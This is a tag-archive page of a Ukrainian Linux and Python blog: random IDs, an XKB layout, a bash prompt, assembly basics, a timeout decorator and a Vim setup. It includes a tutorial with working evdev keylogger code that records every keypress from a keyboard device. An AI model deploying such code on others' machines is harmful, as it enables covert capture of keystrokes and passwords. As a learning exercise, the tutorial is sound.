Tag Archives: linux - Page 2

Випадковий ідентифікатор в Python

Posted by bunyk on 18.03.2015 Коментарі Вимкнено

Можна отримати так:

import random
def random_id(length=6):
   return ''.join(
        random.choice(string.lowercase)
        for i in range(length)
    )

###############
>>> random_id()
'kqxmua'

Якщо треба особливо оформлений, як от IP, чи MAC-адреса, то можна зробити перетворення:

def asmac(val):
    """Convert a byte string to a MAC address string.  """
    return ':'.join('%02X' % ord(c) for c in val)

def random_mac():
    return asmac(random_id())

###################
>>> random_mac()
'78:71:6A:72:6E:63'

Але такі ідентифікатори як “kqxmua” нормальній людині важко запам’ятати, бо вони не асоціюються з жодними поняттями. Ну окрім частинки “ua”, але й то вона туди випадково потрапила. Проте, в Linux можна легко отримати випадкове слово, бо в ньому є словник:

def random_word():
    return random.choice(
        open('/usr/share/dict/words').readlines() # жертиме пам’ять! 
    ).strip()

#################
'.join(random_word() for i in range(5))
'hermitical, Canter, Paryavi, mergences, Mind'

Хоча я знайомий лише з “hermitical” та “mind”, але асоціації вже легше побудувати, правда?

Filed under: Всяке, Кодерство Tagged: linux, Python

Пишемо простий keylogger для Linux

Posted by bunyk on 08.03.2015 Коментарі Вимкнено

Кейлоггер це така ~~шкідлива~~ корисна програма яка записує всі натискання клавіш користувачем в будь-яких інших програмах операційної системи. І сьогодні ми вивчатимемо як таке написати. Якщо ви навчитесь працювати з файлами в Linux – ви зможете все. Серйозно. Тому я колись планую детально вивчити і написати про файли там.

Все в лінуксі файл, і клавіатура – теж. Щоб знати який – відкриваємо /proc/bus/input/devices. Нас цікавить абзац в якому написано про клавіатуру, і він зазвичай містить рядок EV=120013, тому можете пошукати його. Коли знайшли абзац, читаємо в ньому рядок H: Handlers=sysrq kbd event3.

Можна дістати однією командою:

cat /proc/bus/input/devices | grep EV=120013 -B 2 | grep event

Слово event3 означає що нам треба читати файл пристрою /dev/input/event3.

Так як в заголовку було слово простий, ми спростимо собі життя і поставимо деяку бібліотеку:

pip-2.7 install evdev

Ця бібліотека працює з пристроями подій (тобто клавіатурою, мишею і т.п.). Далі вставлю зразу код, тому що він відкоментований і очевидний:

# coding=utf-8

import sys
from evdev import InputDevice, categorize, KeyEvent

def main():
    if len(sys.argv) &amp;amp;lt; 2:
        print('Please pass device (/dev/input/eventX) as first argument.')
        return

    log_keys(sys.argv[1])


def log_keys(device):
    for event in InputDevice(device).read_loop():
        # Перетворити загальну подію в подію певного класу
        event = categorize(event)
        if (
            isinstance(event, KeyEvent) # нас цікавлять події клавіатури
            # а саме - натискання
            and (event.keystate == KeyEvent.key_down)
        ):
            # keycode - це рядок виду &quot;KEY_S&quot;, тому ми обрізаємо &quot;KEY_&quot;
            # і виводимо всі клавіші в одному рядку, через кому
            print(event.keycode[4:], end=', ')
            # так як вивід буферизований, а буфер починає записуватись коли
            # починається новий рядок, нам потрібно його вручну змусити 
            # виводитись:
            sys.stdout.flush()
            
if __name__ == '__main__':
    main()

Тепер, коли це все запустити для пристрою який в нас займається клавіатурою, можна побачити натиснені клавіші. Наприклад, що я тиснув, коли писав цю публікацію:

$~ sudo python3.3 keylogger.py /dev/input/event3
... F12, LEFTBRACE, S, O, U, R, C, E, C, O, D, E, SPACE,
L, A, N, G, U, A, G, E, EQUAL, LEFTSHIFT, APOSTROPHE,
P, Y, T, H, O, N, LEFTSHIFT, APOSTROPHE, RIGHTBRACE,
LEFTBRACE, SLASH, S, O, U, R, C, E, C, O, D, E, RIGHTBRACE,
LEFTSHIFT, ENTER, N, BACKSPACE, P, L, A, I, N, WAKEUP, F12,

Щоб свиснути чийсь пароль звісно ще доведеться записувати не тільки коли SHIFT опущено, але й коли піднято, але не варто таким займатись. :)

Посилання

Картинка для привертання уваги:

Filed under: Кодерство Tagged: linux, Python

Німецьке QWERTY

Posted by bunyk on 04.11.2014 Коментарі Вимкнено

Німці використовують деякі букви, яких нема в стандартній латинській розкладці: ÄÖÜẞ, тому існує окрема німецька розкладка. Але біда, біда, вона не QWERTY, а QWERTZ, і Z та Y поміняні місцями. Правильної розкладки чомусь нема, тому я вирішив зробити свою. Має працювати на всіх системах що використовують X keyboard extension з X Window System.

Замість кнопки “-” отримуємо “ß”, замість “[” – “Ü”, “;” – “Ö” ну а замість “‘” – “Ä”. Всі інші залишаються на місці, а не перескакують чорт зна куди як в традиційній німецькій розкладці.

Відкриваємо розкладки для Німеччини:

cd /usr/share/X11/xkb/
sudo vim symbols/de

Додаємо розкладку з наступними клавішами (наслідується від базової американської):

xkb_symbols "germanqwerty" {
    include "us(basic)"
    name[Group1]="German (QWERTY)";

    key <AD11>	{ [udiaeresis, Udiaeresis, dead_diaeresis, dead_abovering ] };
    key <AC10>	{ [odiaeresis, Odiaeresis, dead_doubleacute, dead_belowdot ] };
    key <AC11>	{ [adiaeresis, Adiaeresis, dead_circumflex, dead_caron ] };
    key <AE11> {type[Group1]="FOUR_LEVEL_PLUS_LOCK",  symbols[Group1]=
                  [ssharp, question, backslash, questiondown, 0x1001E9E ]};
};

Далі додаємо нову розкладку до списку відомих:

cd /usr/share/X11/xkb/
sudo vim rules/evdev.xml

Знаходимо список розкладок для Німеччини і додаємо туди свій варіант:

        <variant>
          <configItem>
            <name>germanqwerty</name>
            <description>German (QWERTY)</description>
          </configItem>
        </variant>

Далі треба розлогінитись і залогінитись заново, і можна додавати розкладки через аплет панелі робочого стола.

Посилання

Building an XKB Keyboard

Filed under: Кодерство, Конспекти Tagged: deutsch, linux

Покращене запрошення до вводу $ ▮

Posted by bunyk on 23.10.2014 Коментарі Вимкнено

Кольорове запрошення до вводу дозволяє візуально виділяти місця де ви ввели команду і лог виконання команди.

Для цього, потрібно задати змінну середовища PS1 в файлі ~/.bashrc для звичайного і для суперкористувача.

Наприклад:

export PS1="\[\e[0;34m\]\u@\h : \w\[\e[m\]\n\[\e[0;32m\]\A \$> \[\e[m\]"
export PS1="\[\e[0;34m\]┌─[\u@\h : \w\n└─[\[\e[0;31m\]\A\[\e[0;34m\]]─> \$ \[\e[m\]"

\[Все що поміщається в екрановані квадратні дужки\] – не враховується при обчисленні довжини запрошення, і важливо поміщати в такі дужки невидимі символи, бо довжина запрошення впливає на те як відображатиметься команда наприклад при навігації по історії команд.

\e[0;34m – синій колір, \e[0;32m – зелений, \e[m – повернутись до звичайного кольору. Повний список кольорів наприклад тут.

\u – користувач, \h – ім’я хоста до першої крапки, \w – повний шлях до поточної директорії, \A – час в 24-годинному форматі HH:MM, \$ – #, якщо ефективний UID користувача 0, інакше – $. Більше можна через man bash, в секції PROMPTING.

Filed under: Інструменти, Кодерство Tagged: linux

Асемблер x86 на Linux

Posted by bunyk on 06.09.2014 Коментарі Вимкнено

Давно хотів познайомитись, але все стримувало те що в дитинстві я почав з синтаксису Intel, і хотів програмувати тут теж з синтаксисом Intel. Пройшло багато років, я забув, тому давайте вивчимо AT & T синтаксис. Потім при потребі можна перевчитись.

Ну й крім того, я знайшов книжку Programming from the Ground Up, в якій все дуже зрозуміло (як для дітей) пояснюють.

Ну дууууже коротка теорія

Перше що потрібно знати – x86 – це архітектура Фон Неймана, тобто код програми і дані зберігаються в одній і тій же пам’яті, і для комп’ютера виглядають однаково. (Щоправда операційні системи можуть обмежувати виконання лише областями з кодом, для того щоб запобігти можливим помилкам, якими можуть скористатись хитрі хакери)

Пам’ять – це довгий список байтів (можуть містити цілі числа від 0 до 255), кожен з яких має свою адресу. Адреса – це просто номер байта. Щоправда ми працюватимемо переважно не з байтами, а зі словами (в 32-х розрядній архітектурі це 4 байти, які можуть приймати значення від 0 до 4294967295). Тому що регістри процесора якраз стільки вміщають. Адреси – це теж слова (4 байти).

Найпростіша програма

Надрукуємо “Привіт, світе!”? О, ні, на ассемблері це надто складно. Давайте напишемо програму яка завершує роботу. Ага. В Unix, програма яка завершує свою роботу має повернути статус код. Статус код останньої виконаної команди можна побачити у спеціальній змінній командної оболонки: echo $?

_start – в лінкера за замовчуванням позначає точку входу в програму. Тобто адресу з якої почнеться її виконання. Можна замінити її наприклад на main, але тоді лінкер, якщо йому не вказати опцію -e main скаже:

ld: warning: cannot find entry symbol _start; defaulting to 0000000008048054

Символ відсотка позначає регістр процесора (наприклад %eax), долар позначає константу (наприклад $1, $0x80 (= 128 в шістнадцятковому записі) ).

Переривання – це місце в коді де контроль передається в якесь інше місце (в ядро). Коли ядро виконає своє переривання – воно поверне контроль нам, і програма продовжить виконання (стан регістрів може змінитись). Щоправда після системного виклику exit контроль нам ніколи не повернуть, але так й було задумано.

Щоб перевірити нашу програму, потрібно виконати команди:

as exit.s -o exit.o
ld exit.o -o exit

Перша створює об’єктний файл. Об’єктний файл – це вже код машинною мовою, але ще не до кінця зібраний. Потрібно передати його лінкеру – програмі яка вміє збирати багато об’єктних файлів в одну програму, та додавати інформацію для того щоб ядро знало як працювати з програмою.

Якщо все пройшло без помилок – можна перевірити роботу:

./exit 
echo $?

Також можна спробувати замінити код повернення в %ebx на якісь інші і подивитись результат.

Опис інструкцій

mov – це інструкція переміщення, яка має два операнди – звідки й куди.

Суфікс l означає розмір даних (long = 4 байти). Інші можливі префікси: b byte = (8 біт); s short = (2 байти (16 біт).

Багато інших інструкцій мають два операнди, як наприклад addl (додавання), subl (віднімання). Але, наприклад, інструкція div приймає єдиний аргумент, бере вміст регістрів %edx та %eax як велике 64-х розрядне число (якщо треба менше, %edx має містити нуль) ділить на переданий аргумент а тоді результат поміщує в %eax, а остачу від ділення в %ebx.

Регістри загального призначення, які можна використовувати як аргументи команд переміщення та арифметичних – це %eax, %ebx, %ecx, %edx, %edi, %esi.

Контроль ходу виконання

Давайте напишемо наступну програму, яка не просто даватиме наперед заданий статус код, а даватиме максимальне число серед заданих. Нехай ці числа зберігатимуться за адресою, яку ми позначимо data_items, і останнім числом буде нуль, щоб ми знали коли припинити пошук.

Виконання має повернути 89 (найбільше в списку). Це вже набагато цікавіша програма.

По-перше, ми маємо дані. Окрім типу .long (4 байти), ми можемо використовувати .byte, .int (2 байти), та .ascii – рядок символів, наприклад .ascii "Hello, world!\n".

По-друге, цікава інструкція movl data_items(,%edi,4), %eax. Лівий її операнд означає взяти дані з адреси data_items, але зсунутись на %edi елементів розміру 4. Тобто це як доступ до елементу масиву. Синтаксис паскудний, в Intel здається писали б data_items + %edi * 4, що виглядає зрозуміліше, але маємо що маємо.

Також, якщо ми хочемо отримати значення за адресою – теж використовуємо дужки. Наприклад – %esp – містить адресу вершини стеку. movl %esp, %eax – збереже цю адресу в %eax, а от movl (%esp), %eax – значення з вершини стеку.

Наступна незнайома інструкція – cmpl. Вона порівнює два чотирибайтові числа (суфікс бачите?), а результат порівняння записує в певні біти регістру %eflags. Про нього я дуже давно написав непогану статтю на CybWiki а потім на вікіпедії, тому в деталі не вдаватимусь.

Після порівняння зазвичай йде інструкція зробити стрибок на певну адресу, якщо виконується умова порівняння. Існують такі інструкції стрибків з умовою: je – стрибати якщо рівні, jg – якщо друге значення було більше за перше, jge – більше або рівне, jl – менше, jle – менше рівне.

incl – збільшує аргумент на одиничку. incl %edi – це те саме що й addl $1, %edi, тільки коротше й швидше працює.

Далі буде

Вже скоро ранок, а hello world ми ще так і не написали. Треба розібратись з написанням і викликом функцій, викликом функцій роботи з файлами, щоб можна було писати в STDOUT. Але це вже завтра, бо це вже й так надто червоноока публікація.

Хоча в книжці там ще йде мова про рекурсію, обробку помилок, бібліотеки функцій, та їх створення, менеджер пам’яті і інші цікаві речі.

Filed under: Кодерство Tagged: linux

Timeout decorator

Posted by bunyk on 02.09.2014 Коментарі Вимкнено

Декоратор який використовуючи сигнал Unix SIGALRM перериває роботу функції якщо та працює довше ніж задане число секунд:

import signal

class TimeOut(Exception):
    def __init__(self, msg='Time out error'):
        super(Exception, self).__init__(msg)

def on_alarm(signum, frame): # при надходженні сигналу кидати виняток
    raise TimeOut()

def limit_time(t, default=None):
    signal.signal(signal.SIGALRM, on_alarm) # встановити обробник сигналу

    def decorator(f): 
        def decorated(*args, **kwargs):
            signal.alarm(t) # попросити ОС прислати нам сигнал через t секунд
            try:
                return f(*args, **kwargs)
            except TimeOut:
                return default
        return decorated
    return decorator

import contextlib
# Дякую Алекс!
@contextlib.contextmanager
def time_limit(t):
    signal.signal(signal.SIGALRM, on_alarm)
    signal.alarm(t)
    try:
        yield
    except TimeOut:
        pass


import time

@limit_time(5) # працювати не довше 5 секунд
def test():
    for i in range(10):
        print i
        time.sleep(1)

test()

with time_limit(5):
    for i in range(10):
        print i
        time.sleep()

Filed under: Кодерство Tagged: linux, Python

Proxylocal на CentOS

Posted by bunyk on 23.07.2014 Коментарі Вимкнено

Я б Ruby поставив тільки за те, що лише вона може ганяти proxylocal. :) Proxylocal - це геніальна програма, яка дозволяє захостити будь-який локальний порт на доступному в інтернеті веб-сервері з унікальним доменом, незважаючи на те чи ви з’єднані через NAT чи через якусь іншу дупу. Досить написати:

$ proxylocal 8080
Local server on port 8080 is now publicly available via:

http://luag.t.proxylocal.com/

або

$ proxylocal 8080 --host bunyk
Local server on port 8080 is now publicly available via:

http://bunyk.t.proxylocal.com/

Інсталюється він дуже просто, якщо у вас стоїть Rubygems:

gem install proxylocal

Але якщо ні, то доведеться поставити його і ще кілька пакетів щоб все могло скомпілюватись:

yum -y install ruby gcc ruby-devel rubygems gcc-c++

make: g++: Command not found означає що бракує gcc-c++, а

mkmf.rb can't find header files for ruby at /usr/lib/ruby/ruby.h – що бракує ruby-devel.

P.S. Якщо цікавитесь Ruby – раджу оцей блог.

Filed under: Кодерство, Павутина Tagged: linux, ruby

Скопіювати дерево проекту на інший сервер по трубі

Posted by bunyk on 30.12.2013 Коментарі Вимкнено

Власне я робив так:

scp -r path/to/source/tree login@host:/path/to/destination/folder

Але потім виявив що scp ходить за символьними посиланнями і копіює все також і там. Від чого іноді зациклюється…

Тому на просторах інтернету мені підказали ідею послати файли через трубу.

Найперша команда – бере вміст директорії, стискає, і посилає стиснені дані в стандартний вивід:

tar czf - path/to/source/tree

І навпаки – прийняти стиснуті дані з stdout і розпакувати їх в поточну директорію.

tar xvzf -

(При цьому директорія tree створиться, якщо дані пакувались з неї.)

Ну і:

ssh login@host "some; commands"

Виконує інші команди на віддаленому сервері. При цьому може приймати щось з stdout, через трубу. Таким чином ця труба веде з сервера на сервер…

І якщо зібрати все до купи:

tar czf - path/to/source/tree | ssh login@host "cd /path/to/destination/folder; tar xvzf -"

Єдина з цим всім проблема – колись таки доведеться вивчити ті всі ключі до tar. :)

Filed under: Інструменти, Кодерство Tagged: linux

Лапки в bash та pss з awk

Posted by bunyk on 25.09.2013 Коментарі Вимкнено

Є чудова команда для пошуку коду – pss. Ставиться через pip.

Тільки іноді біда – вона шукає рядки , і іноді те що вона знаходить – мінімізований JavaScript. А це означає що це всі файли зліплені в один рядок на кількасот кілобайт. Звісно мінімізований JavaScript мало кого цікавить, і його варто було б відфільтрувати. Але власник проекту сказав що функцію ігнорування такого коду реалізовувати не буде. Що не страшно, бо є труби і awk. AWK – це майже як grep, тільки з більшими можливостями, здається зовсім тюрінг-повна. Я якось рік тому почав її вивчати а потім забув. :)

І от, щоб відфільтрувати задовгі рядки, досить такої програми на awk:

lenght($0) < 1000

І от я пишу:

pss TextToSearch | awk "lenght($0) < 1000"

А воно не фільтрує!

Виявляється, за $0 – спершу береться bash. І echo "$0" дасть нам на виході слово "bash". А echo '$0' – сам "$0". Ну й зрозуміло що length(bash) – таки менше 1000, а якщо точно, то:

$ awk '{ print length(bash)}'
0

Напевне тому що змінна bash не визначена. Бо

$ awk '{ print length("bash")}'
4

І тому – при змішуванні таких екзотичних мов програмування, головне не переплутати що треба екранувати, і хто на які лапки як реагує.

Filed under: Інструменти, Кодерство Tagged: linux

Vim, Vundle, Solarized

Posted by bunyk on 02.07.2013 Коментарі Вимкнено

Vim – це текстовий редактор, який має кілька менеджерів пакетів. Можливо їх навіть більше ніж в Windows, тому що враховуючи те що найкращий менеджер пакетів для Windows – Cygwin.

Зараз для мене якраз актуально розповісти про те як швидко розгорнути Vim в звичній конфігурації. Розповідатиму мінімально на прикладі теми Solarized.

Отож, перше (нульове – це мати в системі git) що треба зробити – встановити сам менеджер пакетів:

$ git clone https://github.com/gmarik/vundle.git ~/.vim/bundle/vundle

Далі – заповнити .vimrc наступним:

"----------- VUNDLE ---------------------
set nocompatible
filetype off

set rtp+=~/.vim/bundle/vundle/
call vundle#rc()

Bundle 'gmarik/vundle'
Bundle 'altercation/vim-colors-solarized'

filetype plugin indent on     " required!
"------------- END VUNDLE ---------------

syntax enable
set background=dark
colorscheme solarized
set t_Co=16

Додавати пакети треба в .vimrc там де я вже додав два потрібні, за допомогою команди Bundle, параметром якої є репозиторій GitHub, пряме посилання на .git-файл, чи просто назва скрипта на vim.org/scripts.

Після додання пакетів в .vimrc потрібно виконати команду :BundleInstall і вони інсталюються.

Далі виявиться що потрібно налаштувати кольори в відповідному терміналі, в якому ми Vim запускатимемо. В Gvim все і без цього буде нормально. В Cygwin я вже забув як налаштував, а в Terminal 0.4.8 для xfce ось так:

$ wget -O ~/.config/Terminal/terminalrc https://raw.github.com/altercation/solarized/master/xfce4-terminal/dark/terminalrc

Для Guake трішечки складніше:

$ git clone https://github.com/coolwanglu/guake-colors-solarized.git
$ guake-colors-solarized/set_dark.sh

І от маємо обидва термінали з Vim:

Filed under: Інструменти, Кодерство Tagged: linux, Vim

« Previous page | Next page »

Ukrainian IT Blog

Про IT – українською

Tag Archives: linux - Page 2

Випадковий ідентифікатор в Python

Пишемо простий keylogger для Linux

Посилання

Німецьке QWERTY

Посилання

Покращене запрошення до вводу $ ▮

Асемблер x86 на Linux

Ну дууууже коротка теорія

Найпростіша програма

Опис інструкцій

Контроль ходу виконання

Далі буде

Timeout decorator

Proxylocal на CentOS

Скопіювати дерево проекту на інший сервер по трубі

Лапки в bash та pss з awk

Vim, Vundle, Solarized

Random Posts

Search by Tags!

Archives

Links

Meta